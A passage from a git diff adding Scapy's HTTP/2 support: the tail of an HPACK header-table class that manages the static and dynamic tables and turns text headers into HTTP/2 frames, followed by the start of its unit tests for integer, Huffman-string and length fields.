+        41: HPackHdrEntry('if-none-match', ''),
+        42: HPackHdrEntry('if-range', ''),
+        43: HPackHdrEntry('if-unmodified-since', ''),
+        44: HPackHdrEntry('last-modified', ''),
+        45: HPackHdrEntry('link', ''),
+        46: HPackHdrEntry('location', ''),
+        47: HPackHdrEntry('max-forwards', ''),
+        48: HPackHdrEntry('proxy-authenticate', ''),
+        49: HPackHdrEntry('proxy-authorization', ''),
+        50: HPackHdrEntry('range', ''),
+        51: HPackHdrEntry('referer', ''),
+        52: HPackHdrEntry('refresh', ''),
+        53: HPackHdrEntry('retry-after', ''),
+        54: HPackHdrEntry('server', ''),
+        55: HPackHdrEntry('set-cookie', ''),
+        56: HPackHdrEntry('strict-transport-security', ''),
+        57: HPackHdrEntry('transfer-encoding', ''),
+        58: HPackHdrEntry('user-agent', ''),
+        59: HPackHdrEntry('vary', ''),
+        60: HPackHdrEntry('via', ''),
+        61: HPackHdrEntry('www-authenticate', ''),
+    }
+
+    # The value of this variable cannot be determined at declaration time. It is
+    # initialized by an init_static_table call
+    _static_entries_last_idx = None
+
+    @classmethod
+    def init_static_table(cls):
+        # type: () -> None
+        cls._static_entries_last_idx = max(cls._static_entries)
+
+    def __init__(self, dynamic_table_max_size=4096, dynamic_table_cap_size=4096):
+        # type: (int, int) -> None
+        """
+        @param int dynamic_table_max_size: the current maximum size of the dynamic entry table in bytes
+        @param int dynamic_table_cap_size: the maximum-maximum size of the dynamic entry table in bytes
+        @raises AssertionError
+        """
+        self._regexp = None
+        if isinstance(type(self)._static_entries_last_idx, type(None)):
+            type(self).init_static_table()
+
+        assert dynamic_table_max_size <= dynamic_table_cap_size, \
+            'EINVAL: dynamic_table_max_size too large; expected value is less or equal to dynamic_table_cap_size'
+
+        self._dynamic_table = []  # type: List[HPackHdrEntry]
+        self._dynamic_table_max_size = dynamic_table_max_size
+        self._dynamic_table_cap_size = dynamic_table_cap_size
+
+    def __getitem__(self, idx):
+        # type: (int) -> HPackHdrEntry
+        """Gets an element from the header tables (static or dynamic indifferently)
+
+        @param int idx: the index number of the entry to retrieve. If the index
+        value is superior to the last index of the static entry table, then the
+        dynamic entry type is requested, following the procedure described in
+        RFC 7541 par2.3.3
+        @return HPackHdrEntry: the entry defined at this requested index. If the entry does not exist, KeyError is
+          raised
+        @raise KeyError, AssertionError
+        """
+        assert(idx >= 0)
+        if idx > type(self)._static_entries_last_idx:
+            idx -= type(self)._static_entries_last_idx + 1
+            if idx >= len(self._dynamic_table):
+                raise KeyError(
+                    'EINVAL: idx: out-of-bound read: {}; maximum index: {}'.format(idx, len(self._dynamic_table))
+                )
+            return self._dynamic_table[idx]
+        return type(self)._static_entries[idx]
+
+    def resize(self, ns):
+        # type: (int) -> None
+        """Resize the dynamic table. If the new size (ns) must be between 0 and
+        the cap size. If the new size is lower than the current size of the
+        dynamic table, entries are evicted.
+        @param int ns: the new size of the dynamic table
+        @raise AssertionError
+        """
+        assert 0 <= ns <= self._dynamic_table_cap_size, \
+            'EINVAL: ns: out-of-range value; expected value is in the range [0;{}['.format(self._dynamic_table_cap_size)
+
+        old_size = self._dynamic_table_max_size
+        self._dynamic_table_max_size = ns
+        if old_size > self._dynamic_table_max_size:
+            self._reduce_dynamic_table()
+
+    def recap(self, nc):
+        # type: (int) -> None
+        """recap changes the maximum size limit of the dynamic table. It also
+        proceeds to a resize(), if the new size is lower than the previous one.
+        @param int nc: the new cap of the dynamic table (that is the maximum-maximum size)
+        @raise AssertionError
+        """
+        assert(nc >= 0)
+        t = self._dynamic_table_cap_size > nc
+        self._dynamic_table_cap_size = nc
+
+        if t:
+            # The RFC is not clear about whether this resize should happen;
+            # we do it anyway
+            self.resize(nc)
+
+    def _reduce_dynamic_table(self, new_entry_size=0):
+        # type: (int) -> None
+        """_reduce_dynamic_table evicts entries from the dynamic table until it
+        fits in less than the current size limit. The optional parameter,
+        new_entry_size, allows the resize to happen so that a new entry of this
+        size fits in.
+        @param int new_entry_size: if called before adding a new entry, the size of the new entry in bytes (following
+        the RFC7541 definition of the size of an entry)
+        @raise AssertionError
+        """
+        assert(new_entry_size >= 0)
+        cur_sz = len(self)
+        dyn_tbl_sz = len(self._dynamic_table)
+        while dyn_tbl_sz > 0 and cur_sz + new_entry_size > self._dynamic_table_max_size:
+            last_elmt_sz = len(self._dynamic_table[-1])
+            self._dynamic_table.pop()
+            dyn_tbl_sz -= 1
+            cur_sz -= last_elmt_sz
+
+    def register(self, hdrs):
+        # type: (Union[HPackLitHdrFldWithIncrIndexing, H2Frame, List[HPackHeaders]]) -> None
+        """register adds to this table the instances of
+        HPackLitHdrFldWithIncrIndexing provided as parameters.
+
+        A H2Frame with a H2HeadersFrame payload can be provided, as much as a
+        python list of HPackHeaders or a single HPackLitHdrFldWithIncrIndexing
+        instance.
+        @param HPackLitHdrFldWithIncrIndexing|H2Frame|list of HPackHeaders hdrs: the header(s) to register
+        @raise AssertionError
+        """
+        if isinstance(hdrs, H2Frame):
+            hdrs = [hdr for hdr in hdrs.payload.hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)]
+        elif isinstance(hdrs, HPackLitHdrFldWithIncrIndexing):
+            hdrs = [hdrs]
+        else:
+            hdrs = [hdr for hdr in hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)]
+
+        for hdr in hdrs:
+            if hdr.index == 0:
+                hdr_name = hdr.hdr_name.getfieldval('data').origin()
+            else:
+                idx = int(hdr.index)
+                hdr_name = self[idx].name()
+            hdr_value = hdr.hdr_value.getfieldval('data').origin()
+
+            # Note: we do not delete any existing hdrentry with the same names
+            # and values, as dictated by RFC 7541 par2.3.2
+
+            entry = HPackHdrEntry(hdr_name, hdr_value)
+            # According to RFC7541 par4.4, "Before a new entry is added to
+            # the dynamic table, entries are evicted
+            # from the end of the dynamic table until the size of the dynamic
+            # table is less than or equal to (maximum size - new entry size)
+            # or until the table is empty"
+            # Also, "It is not an error to attempt to add an entry that is
+            # larger than the maximum size; an attempt to add an entry larger
+            # than the maximum size causes the table to be emptied of all
+            # existing entries and results in an empty table"
+            # For this reason, we first call the _reduce_dynamic_table and
+            # then throw an assertion error if the new entry does not fit in
+            new_entry_len = len(entry)
+            self._reduce_dynamic_table(new_entry_len)
+            assert(new_entry_len <= self._dynamic_table_max_size)
+            self._dynamic_table.insert(0, entry)
+
+    def get_idx_by_name(self, name):
+        # type: (str) -> Optional[int]
+        """ get_idx_by_name returns the index of a matching registered header
+
+        This implementation will prefer returning a static entry index whenever
+        possible. If multiple matching header name are found in the static
+        table, there is insurance that the first entry (lowest index number)
+        will be returned.
+        If no matching header is found, this method returns None.
+        """
+        name = name.lower()
+        for key, val in six.iteritems(type(self)._static_entries):
+            if val.name() == name:
+                return key
+        for idx, val in enumerate(self._dynamic_table):
+            if val.name() == name:
+                return type(self)._static_entries_last_idx + idx + 1
+        return None
+
+    def get_idx_by_name_and_value(self, name, value):
+        # type: (str, str) -> Optional[int]
+        """ get_idx_by_name_and_value returns the index of a matching registered
+        header
+
+        This implementation will prefer returning a static entry index whenever
+        possible. If multiple matching headers are found in the dynamic table,
+        the lowest index is returned
+        If no matching header is found, this method returns None.
+        """
+        name = name.lower()
+        for key, val in six.iteritems(type(self)._static_entries):
+            if val.name() == name and val.value() == value:
+                return key
+        for idx, val in enumerate(self._dynamic_table):
+            if val.name() == name and val.value() == value:
+                return type(self)._static_entries_last_idx + idx + 1
+        return None
+
+    def __len__(self):
+        # type: () -> int
+        """ __len__ returns the summed length of all dynamic entries
+        """
+        return sum(len(x) for x in self._dynamic_table)
+
+    def gen_txt_repr(self, hdrs, register=True):
+        # type: (Union[H2Frame, List[HPackHeaders]], Optional[bool]) -> str
+        """ gen_txt_repr returns a "textual" representation of the provided
+        headers.
+
+        The output of this function is compatible with the input of
+        parse_txt_hdrs.
+        @param H2Frame|list of HPackHeaders hdrs: the list of headers to convert to textual representation
+        @param bool: whether incremental headers should be added to the dynamic table as we generate the text
+            representation
+        @return str: the textual representation of the provided headers
+        @raise AssertionError
+        """
+        l = []
+        if isinstance(hdrs, H2Frame):
+            hdrs = hdrs.payload.hdrs
+
+        for hdr in hdrs:
+            try:
+                if isinstance(hdr, HPackIndexedHdr):
+                    l.append('{}'.format(self[hdr.index]))
+                elif isinstance(hdr, (
+                    HPackLitHdrFldWithIncrIndexing,
+                    HPackLitHdrFldWithoutIndexing
+                )):
+                    if hdr.index != 0:
+                        name = self[hdr.index].name()
+                    else:
+                        name = hdr.hdr_name.getfieldval('data').origin()
+                    if name.startswith(':'):
+                        l.append(
+                            '{} {}'.format(
+                                name,
+                                hdr.hdr_value.getfieldval('data').origin()
+                            )
+                        )
+                    else:
+                        l.append(
+                            '{}: {}'.format(
+                                name,
+                                hdr.hdr_value.getfieldval('data').origin()
+                            )
+                        )
+                if register and isinstance(hdr, HPackLitHdrFldWithIncrIndexing):
+                    self.register(hdr)
+            except KeyError as e:  # raised when an index is out-of-bound
+                print(e)
+                continue
+        return '\n'.join(l)
+
+    @staticmethod
+    def _optimize_header_length_and_packetify(s):
+        # type: (str) -> HPackHdrString
+        # type: (str) -> HPackHdrString
+        zs = HPackZString(s)
+        if len(zs) >= len(s):
+            return HPackHdrString(data=HPackLiteralString(s))
+        return HPackHdrString(data=zs)
+
+    def _convert_a_header_to_a_h2_header(self, hdr_name, hdr_value, is_sensitive, should_index):
+        # type: (str, str, Callable[[str, str], bool], Callable[[str], bool]) -> Tuple[HPackHeaders, int]
+        """ _convert_a_header_to_a_h2_header builds a HPackHeaders from a header
+        name and a value. It returns a HPackIndexedHdr whenever possible. If not,
+        it returns a HPackLitHdrFldWithoutIndexing or a
+        HPackLitHdrFldWithIncrIndexing, based on the should_index callback.
+        HPackLitHdrFldWithoutIndexing is forced if the is_sensitive callback
+        returns True and its never_index bit is set.
+        """
+
+        # If both name and value are already indexed
+        idx = self.get_idx_by_name_and_value(hdr_name, hdr_value)
+        if idx is not None:
+            return HPackIndexedHdr(index=idx), len(self[idx])
+
+        # The value is not indexed for this headers
+
+        hdr_value = self._optimize_header_length_and_packetify(hdr_value)
+
+        # Searching if the header name is indexed
+        idx = self.get_idx_by_name(hdr_name)
+        if idx is not None:
+            if is_sensitive(
+                hdr_name,
+                hdr_value.getfieldval('data').origin()
+            ):
+                return HPackLitHdrFldWithoutIndexing(
+                    never_index=1,
+                    index=idx,
+                    hdr_value=hdr_value
+                ), len(
+                    HPackHdrEntry(
+                        self[idx].name(),
+                        hdr_value.getfieldval('data').origin()
+                    )
+                )
+            if should_index(hdr_name):
+                return HPackLitHdrFldWithIncrIndexing(
+                    index=idx,
+                    hdr_value=hdr_value
+                ), len(
+                    HPackHdrEntry(
+                        self[idx].name(),
+                        hdr_value.getfieldval('data').origin()
+                    )
+                )
+            return HPackLitHdrFldWithoutIndexing(
+                index=idx,
+                hdr_value=hdr_value
+            ), len(
+                HPackHdrEntry(
+                    self[idx].name(),
+                    hdr_value.getfieldval('data').origin()
+                )
+            )
+
+        hdr_name = self._optimize_header_length_and_packetify(hdr_name)
+
+        if is_sensitive(
+            hdr_name.getfieldval('data').origin(),
+            hdr_value.getfieldval('data').origin()
+        ):
+            return HPackLitHdrFldWithoutIndexing(
+                never_index=1,
+                index=0,
+                hdr_name=hdr_name,
+                hdr_value=hdr_value
+            ), len(
+                HPackHdrEntry(
+                    hdr_name.getfieldval('data').origin(),
+                    hdr_value.getfieldval('data').origin()
+                )
+            )
+        if should_index(hdr_name.getfieldval('data').origin()):
+            return HPackLitHdrFldWithIncrIndexing(
+                index=0,
+                hdr_name=hdr_name,
+                hdr_value=hdr_value
+            ), len(
+                HPackHdrEntry(
+                    hdr_name.getfieldval('data').origin(),
+                    hdr_value.getfieldval('data').origin()
+                )
+            )
+        return HPackLitHdrFldWithoutIndexing(
+            index=0,
+            hdr_name=hdr_name,
+            hdr_value=hdr_value
+        ), len(
+            HPackHdrEntry(
+                hdr_name.getfieldval('data').origin(),
+                hdr_value.getfieldval('data').origin()
+            )
+        )
+
+    def _parse_header_line(self, l):
+        # type: (str) -> Union[Tuple[None, None], Tuple[str, str]]
+
+        if self._regexp is None:
+            self._regexp = re.compile(b'^(?::([a-z\-0-9]+)|([a-z\-0-9]+):)\s+(.+)$')
+
+        hdr_line = l.rstrip()
+        grp = self._regexp.match(hdr_line)
+
+        if grp is None or len(grp.groups()) != 3:
+            return None, None
+
+        if grp.group(1) is not None:
+            hdr_name = b':'+grp.group(1)
+        else:
+            hdr_name = grp.group(2)
+        return plain_str(hdr_name.lower()), plain_str(grp.group(3))
+
+    def parse_txt_hdrs(self,
+                       s,  # type: str
+                       stream_id=1,  # type: int
+                       body=None,  # type: Optional[str]
+                       max_frm_sz=4096,  # type: int
+                       max_hdr_lst_sz=0,  # type: int
+                       is_sensitive=lambda n, v: False,  # type: Callable[[str, str], bool]
+                       should_index=lambda x: False,  # type: Callable[[str], bool]
+                       register=True,  # type: bool
+    ):
+        # type: (...) -> H2Seq
+        """ parse_txt_hdrs parses headers expressed in text and converts them
+        into a series of H2Frames with the "correct" flags. A body can be provided
+        in which case, the data frames are added, bearing the End Stream flag,
+        instead of the H2HeadersFrame/H2ContinuationFrame. The generated frames
+        may respect max_frm_sz (SETTINGS_MAX_FRAME_SIZE) and
+        max_hdr_lst_sz (SETTINGS_MAX_HEADER_LIST_SIZE) if provided. The headers
+        are split into multiple headers fragment (and H2Frames) to respect these
+        limits. Also, a callback can be provided to tell if a header should be
+        never indexed (sensitive headers, such as cookies), and another callback
+        say if the header should be registered into the index table at all.
+        For an header to be registered, the is_sensitive callback must return
+        False AND the should_index callback should return True. This is the
+        default behavior.
+
+        @param str s: the string to parse for headers
+        @param int stream_id: the stream id to use in the generated H2Frames
+        @param str|None body: the eventual body of the request, that is added to the generated frames
+        @param int max_frm_sz: the maximum frame size. This is used to split the headers and data frames according to
+        the maximum frame size negociated for this connection
+        @param int max_hdr_lst_sz: the maximum size of a "header fragment" as defined in RFC7540
+        @param callable is_sensitive: callback that returns True if the provided header is sensible and must be stored
+        in a header packet requesting this header never to be indexed
+        @param callable should_index: callback that returns True if the provided header should be stored in a header
+        packet requesting indexation in the dynamic header table.
+        @param bool register: whether to register new headers with incremental indexing as we parse them
+        @raise Exception
+        """
+
+        sio = BytesIO(s)
+
+        base_frm_len = len(raw(H2Frame()))
+
+        ret = H2Seq()
+        cur_frm = H2HeadersFrame()  # type: Union[H2HeadersFrame, H2ContinuationFrame]
+        cur_hdr_sz = 0
+
+        # For each line in the headers str to parse
+        for hdr_line in sio:
+            hdr_name, hdr_value = self._parse_header_line(hdr_line)
+            if hdr_name is None:
+                continue
+
+            new_hdr, new_hdr_len = self._convert_a_header_to_a_h2_header(
+                hdr_name, hdr_value, is_sensitive, should_index
+            )
+            new_hdr_bin_len = len(raw(new_hdr))
+
+            if register and isinstance(new_hdr, HPackLitHdrFldWithIncrIndexing):
+                self.register(new_hdr)
+
+            # The new header binary length (+ base frame size) must not exceed
+            # the maximum frame size or it will just never fit. Also, the
+            # header entry length (as specified in RFC7540 par6.5.2) must not
+            # exceed the maximum length of a header fragment or it will just
+            # never fit
+            if (new_hdr_bin_len + base_frm_len > max_frm_sz
+                or (max_hdr_lst_sz != 0 and new_hdr_len > max_hdr_lst_sz)
+            ):
+                raise Exception('Header too long: {}'.format(hdr_name))
+
+            if (max_frm_sz < len(raw(cur_frm)) + base_frm_len + new_hdr_len
+                or (
+                    max_hdr_lst_sz != 0
+                    and max_hdr_lst_sz < cur_hdr_sz + new_hdr_len
+                )
+            ):
+                flags = set()
+                if isinstance(cur_frm, H2HeadersFrame) and not body:
+                    flags.add('ES')
+                ret.frames.append(H2Frame(stream_id=stream_id, flags=flags)/cur_frm)
+                cur_frm = H2ContinuationFrame()
+                cur_hdr_sz = 0
+
+            hdr_list = cur_frm.hdrs
+            hdr_list += new_hdr
+            cur_hdr_sz += new_hdr_len
+
+        flags = {'EH'}
+        if isinstance(cur_frm, H2HeadersFrame) and not body:
+            flags.add('ES')
+        ret.frames.append(H2Frame(stream_id=stream_id, flags=flags)/cur_frm)
+
+        if body:
+            base_data_frm_len = len(raw(H2DataFrame()))
+            sio = BytesIO(body)
+            frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len)
+            while frgmt:
+                nxt_frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len)
+                flags = set()
+                if len(nxt_frgmt) == 0:
+                    flags.add('ES')
+                ret.frames.append(
+                    H2Frame(stream_id=stream_id, flags=flags)/H2DataFrame(data=frgmt)
+                )
+                frgmt = nxt_frgmt
+        return ret
diff --git a/scapy/contrib/http2.uts b/scapy/contrib/http2.uts
new file mode 100644
index 0000000..048636b
--- /dev/null
+++ b/scapy/contrib/http2.uts
@@ -0,0 +1,2319 @@
+% HTTP/2 Campaign
+# Frames expressed as binary str were generated using the solicit and hpack-rs
+# Rust crates (https://github.com/mlalic/solicit, https://github.com/mlalic/hpack-rs)
+# except Continuation Frames, Priority Frames and Push Promise Frames that we generated
+# using Go x/net/http2 and x/net/http2/hpack modules.
+
++ Syntax check
+= Configuring Scapy
+~ http2 frame hpack build dissect data headers priority settings rststream pushpromise ping goaway winupdate continuation hpackhdrtable helpers
+
+import scapy.config
+scapy.config.conf.debug_dissector=True
+import scapy.packet
+import scapy.fields
+import scapy.contrib.http2 as h2
+import re
+flags_bit_pattern = re.compile(r'''^\s+flags\s+=\s+\[.*['"]bit [0-9]+['"].*\]$''', re.M)
+def expect_exception(e, c):
+    try:
+        eval(c)
+        return False
+    except e:
+        return True
+
++ HTTP/2 UVarIntField Test Suite
+
+= HTTP/2 UVarIntField.any2i
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 5)
+expect_exception(AssertionError, 'f.any2i(None, None)')
+assert(f.any2i(None, 0) == 0)
+assert(f.any2i(None, 3) == 3)
+assert(f.any2i(None, 1<<5) == 1<<5)
+assert(f.any2i(None, 1<<16) == 1<<16)
+f = h2.UVarIntField('value', 0, 8)
+assert(f.any2i(None, b'\x1E') == 30)
+
+= HTTP/2 UVarIntField.m2i on full byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 8)
+assert(f.m2i(None, b'\x00') == 0)
+assert(f.m2i(None, b'\x03') == 3)
+assert(f.m2i(None, b'\xFE') == 254)
+assert(f.m2i(None, b'\xFF\x00') == 255)
+assert(f.m2i(None, b'\xFF\xFF\x03') == 766) #0xFF + (0xFF ^ 0x80) + (3<<7)
+
+= HTTP/2 UVarIntField.m2i on partial byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 5)
+assert(f.m2i(None, (b'\x00', 3)) == 0)
+assert(f.m2i(None, (b'\x03', 3)) == 3)
+assert(f.m2i(None, (b'\x1e', 3)) == 30)
+assert(f.m2i(None, (b'\x1f\x00', 3)) == 31)
+assert(f.m2i(None, (b'\x1f\xe1\xff\x03', 3)) == 65536)
+
+= HTTP/2 UVarIntField.getfield on full byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 8)
+
+r = f.getfield(None, b'\x00\x00')
+assert(r[0] == b'\x00')
+assert(r[1] == 0)
+
+r = f.getfield(None, b'\x03\x00')
+assert(r[0] == b'\x00')
+assert(r[1] == 3)
+
+r = f.getfield(None, b'\xFE\x00')
+assert(r[0] == b'\x00')
+assert(r[1] == 254)
+
+r = f.getfield(None, b'\xFF\x00\x00')
+assert(r[0] == b'\x00')
+assert(r[1] == 255)
+
+r = f.getfield(None, b'\xFF\xFF\x03\x00')
+assert(r[0] == b'\x00')
+assert(r[1] == 766)
+
+= HTTP/2 UVarIntField.getfield on partial byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 5)
+
+r = f.getfield(None, (b'\x00\x00', 3))
+assert(r[0] == b'\x00')
+assert(r[1] == 0)
+
+r = f.getfield(None, (b'\x03\x00', 3))
+assert(r[0] == b'\x00')
+assert(r[1] == 3)
+
+r = f.getfield(None, (b'\x1e\x00', 3))
+assert(r[0] == b'\x00')
+assert(r[1] == 30)
+
+r = f.getfield(None, (b'\x1f\x00\x00', 3))
+assert(r[0] == b'\x00')
+assert(r[1] == 31)
+
+r = f.getfield(None, (b'\x1f\xe1\xff\x03\x00', 3))
+assert(r[0] == b'\x00')
+assert(r[1] == 65536)
+
+= HTTP/2 UVarIntField.i2m on full byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 8)
+assert(f.i2m(None, 0) == b'\x00')
+assert(f.i2m(None, 3) == b'\x03')
+assert(f.i2m(None, 254).lower() == b'\xfe')
+assert(f.i2m(None, 255).lower() == b'\xff\x00')
+assert(f.i2m(None, 766).lower() == b'\xff\xff\x03')
+
+= HTTP/2 UVarIntField.i2m on partial byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 5)
+assert(f.i2m(None, 0) == b'\x00')
+assert(f.i2m(None, 3) == b'\x03')
+assert(f.i2m(None, 30).lower() == b'\x1e')
+assert(f.i2m(None, 31).lower() == b'\x1f\x00')
+assert(f.i2m(None, 65536).lower() == b'\x1f\xe1\xff\x03')
+
+= HTTP/2 UVarIntField.addfield on full byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 8)
+
+assert(f.addfield(None, b'Toto', 0) == b'Toto\x00')
+assert(f.addfield(None, b'Toto', 3) == b'Toto\x03')
+assert(f.addfield(None, b'Toto', 254).lower() == b'toto\xfe')
+assert(f.addfield(None, b'Toto', 255).lower() == b'toto\xff\x00')
+assert(f.addfield(None, b'Toto', 766).lower() == b'toto\xff\xff\x03')
+
+= HTTP/2 UVarIntField.addfield on partial byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 5)
+
+assert(f.addfield(None, (b'Toto', 3, 4), 0) == b'Toto\x80')
+assert(f.addfield(None, (b'Toto', 3, 4), 3) == b'Toto\x83')
+assert(f.addfield(None, (b'Toto', 3, 4), 30).lower() == b'toto\x9e')
+assert(f.addfield(None, (b'Toto', 3, 4), 31).lower() == b'toto\x9f\x00')
+assert(f.addfield(None, (b'Toto', 3, 4), 65536).lower() == b'toto\x9f\xe1\xff\x03')
+
+= HTTP/2 UVarIntField.i2len on full byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 8)
+
+assert(f.i2len(None, 0) == 1)
+assert(f.i2len(None, 3) == 1)
+assert(f.i2len(None, 254) == 1)
+assert(f.i2len(None, 255) == 2)
+assert(f.i2len(None, 766) == 3)
+
+= HTTP/2 UVarIntField.i2len on partial byte
+~ http2 frame field uvarintfield
+
+f = h2.UVarIntField('value', 0, 5)
+
+assert(f.i2len(None, 0) == 1)
+assert(f.i2len(None, 3) == 1)
+assert(f.i2len(None, 30) == 1)
+assert(f.i2len(None, 31) == 2)
+assert(f.i2len(None, 65536) == 4)
+
++ HTTP/2 FieldUVarLenField Test Suite
+
+= HTTP/2 FieldUVarLenField.i2m without adjustment
+~ http2 frame field fielduvarlenfield
+
+
+f = h2.FieldUVarLenField('len', None, 8, length_of='data')
+class TrivialPacket(Packet):
+    name = 'Trivial Packet'
+    fields_desc= [
+        f,
+        StrField('data', '')
+    ]
+
+assert(f.i2m(TrivialPacket(data='a'*5), None) == b'\x05')
+assert(f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xff\x00')
+assert(f.i2m(TrivialPacket(data='a'), 2) == b'\x02')
+assert(f.i2m(None, 2) == b'\x02')
+assert(f.i2m(None, 0) == b'\x00')
+
+= HTTP/2 FieldUVarLenField.i2m with adjustment
+~ http2 frame field fielduvarlenfield
+
+class TrivialPacket(Packet):
+    name = 'Trivial Packet'
+    fields_desc= [
+        f,
+        StrField('data', '')
+    ]
+
+f = h2.FieldUVarLenField('value', None, 8, length_of='data', adjust=lambda x: x-1)
+assert(f.i2m(TrivialPacket(data='a'*5), None) == b'\x04')
+assert(f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xfe')
+#Adjustement does not affect non-None value!
+assert(f.i2m(TrivialPacket(data='a'*3), 2) == b'\x02')
+
++ HTTP/2 HPackZString Test Suite
+
+= HTTP/2 HPackZString Compression
+~ http2 hpack huffman
+
+string = 'Test'
+s = h2.HPackZString(string)
+assert(len(s) == 3)
+assert(raw(s) == b"\xdeT'")
+assert(s.origin() == string)
+
+string = 'a'*65535
+s = h2.HPackZString(string)
+assert(len(s) == 40960)
+assert(raw(s) == (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f')
+assert(s.origin() == string)
+
+= HTTP/2 HPackZString Decompression
+~ http2 hpack huffman
+
+s = b"\xdeT'"
+i, ibl = h2.HPackZString.huffman_conv2bitstring(s)
+assert(b'Test' == h2.HPackZString.huffman_decode(i, ibl))
+
+s = (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f'
+i, ibl = h2.HPackZString.huffman_conv2bitstring(s)
+assert(b'a'*65535 == h2.HPackZString.huffman_decode(i, ibl))
+
+assert(
+    expect_exception(h2.InvalidEncodingException,
+    'h2.HPackZString.huffman_decode(*h2.HPackZString.huffman_conv2bitstring(b"\\xdeT"))')
+)
+
++ HTTP/2 HPackStrLenField Test Suite
+
+= HTTP/2 HPackStrLenField.m2i
+~ http2 hpack field hpackstrlenfield
+
+f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')
+class TrivialPacket(Packet):
+    name = 'Trivial Packet'
+    fields_desc = [
+        IntField('type', None),
+        IntField('len', None),
+        f
+    ]
+
+s = f.m2i(TrivialPacket(type=0, len=4), b'Test')
+assert(isinstance(s, h2.HPackLiteralString))
+assert(s.origin() == 'Test')
+
+s = f.m2i(TrivialPacket(type=1, len=3), b"\xdeT'")
+assert(isinstance(s, h2.HPackZString))
+assert(s.origin() == 'Test')
+
+= HTTP/2 HPackStrLenField.any2i
+~ http2 hpack field hpackstrlenfield
+
+f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')
+class TrivialPacket(Packet):
+    name = 'Trivial Packet'
+    fields_desc = [
+        IntField('type', None),
+        IntField('len', None),
+        f
+    ]
+
+s = f.any2i(TrivialPacket(type=0, len=4), b'Test')
+assert(isinstance(s, h2.HPackLiteralString))
+assert(s.origin() == 'Test')
+
+s = f.any2i(TrivialPacket(type=1, len=3), b"\xdeT'")
+assert(isinstance(s, h2.HPackZString))
+assert(s.origin() == 'Test')
+
+s = h2.HPackLiteralString('Test')
+s2 = f.any2i(TrivialPacket(type=0, len=4), s)
+assert(s.origin() == s2.origin())
+
+s = h2.HPackZString('Test')
+s2 = f.any2i(TrivialPacket(type=1, len=3), s)
+assert(s.origin() == s2.origin())
+
+s = h2.HPackLiteralString('Test')
+s2 = f.any2i(None, s)
+assert(s.origin() == s2.origin())
+
+s = h2.HPackZString('Test')
+s2 = f.any2i(None, s)
+assert(s.origin() == s2.origin())
+
+# Verifies that one can fuzz
+s = h2.HPackLiteralString('Test')
+s2 = f.any2i(TrivialPacket(type=1, len=1), s)
+assert(s.origin() == s2.origin())
+
+= HTTP/2 HPackStrLenField.i2m
+~ http2 hpack field hpackstrlenfield
+
+f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')
+
+s = b'Test'
+s2 = f.i2m(None, h2.HPackLiteralString(s))
+assert(s == s2)
+
+s = b'Test'
+s2 = f.i2m(None, h2.HPackZString(s))
+assert(s2 == b"\xdeT'")
+
+= HTTP/2 HPackStrLenField.addfield
+~ http2 hpack field hpackstrlenfield
+
+f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')
+
+s = b'Test'
+s2 = f.addfield(None, b'Toto', h2.HPackLiteralString(s))
+assert(b'Toto' + s == s2)
+
+s = b'Test'
+s2 = f.addfield(None, b'Toto', h2.HPackZString(s))
+assert(s2 == b"Toto\xdeT'")
+
+= HTTP/2 HPackStrLenField.getfield
+~ http2 hpack field hpackstrlenfield
+
+f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')
+class TrivialPacket(Packet):
+    name = 'Trivial Packet'
+    fields_desc = [
+        IntField('type', None),
+        IntField('len', None),
+        f
+    ]
+
+r = f.getfield(TrivialPacket(type=0, len=4), b'TestToto')
+assert(isinstance(r, tuple))
+assert(r[0] == b'Toto')
+assert(isinstance(r[1], h2.HPackLiteralString))
+assert(r[1].origin() == 'Test')
+
+r = f.getfield(TrivialPacket(type=1, len=3), b"\xdeT'Toto")
+assert(isinstance(r, tuple))
+assert(r[0] == b'Toto')
+assert(isinstance(r[1], h2.HPackZString))
+assert(r[1].origin() == 'Test')
+
+= HTTP/2 HPackStrLenField.i2h / i2repr
+~ http2 hpack field hpackstrlenfield
+
+f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')
+
+s = b'Test'
+assert(f.i2h(None, h2.HPackLiteralString(s)) == 'HPackLiteralString(Test)')
+assert(f.i2repr(None, h2.HPackLiteralString(s)) == repr('HPackLiteralString(Test)'))
+
+assert(f.i2h(None, h2.HPackZString(s)) == 'HPackZString(Test)')
+assert(f.i2repr(None, h2.HPackZString(s)) == repr('HPackZString(Test)'))
+
+= HTTP/2 HPackStrLenField.i2len
+~ http2 hpack field hpackstrlenfield
+
+f = h2.HPackStrLenField('data', h2.HPackLiteralString(''), length_from=lambda p: p.len, type_from='type')
+
+s = b'Test'
+assert(f.i2len(None, h2.HPackLiteralString(s)) == 4)
+assert(f.i2len(None, h2.HPackZString(s)) == 3)
+
++ HTTP/2 HPackMagicBitField Test Suite
+# Magic bits are not supposed to be modified and if they are anyway, they must
+# be assigned the magic|default value only...
+
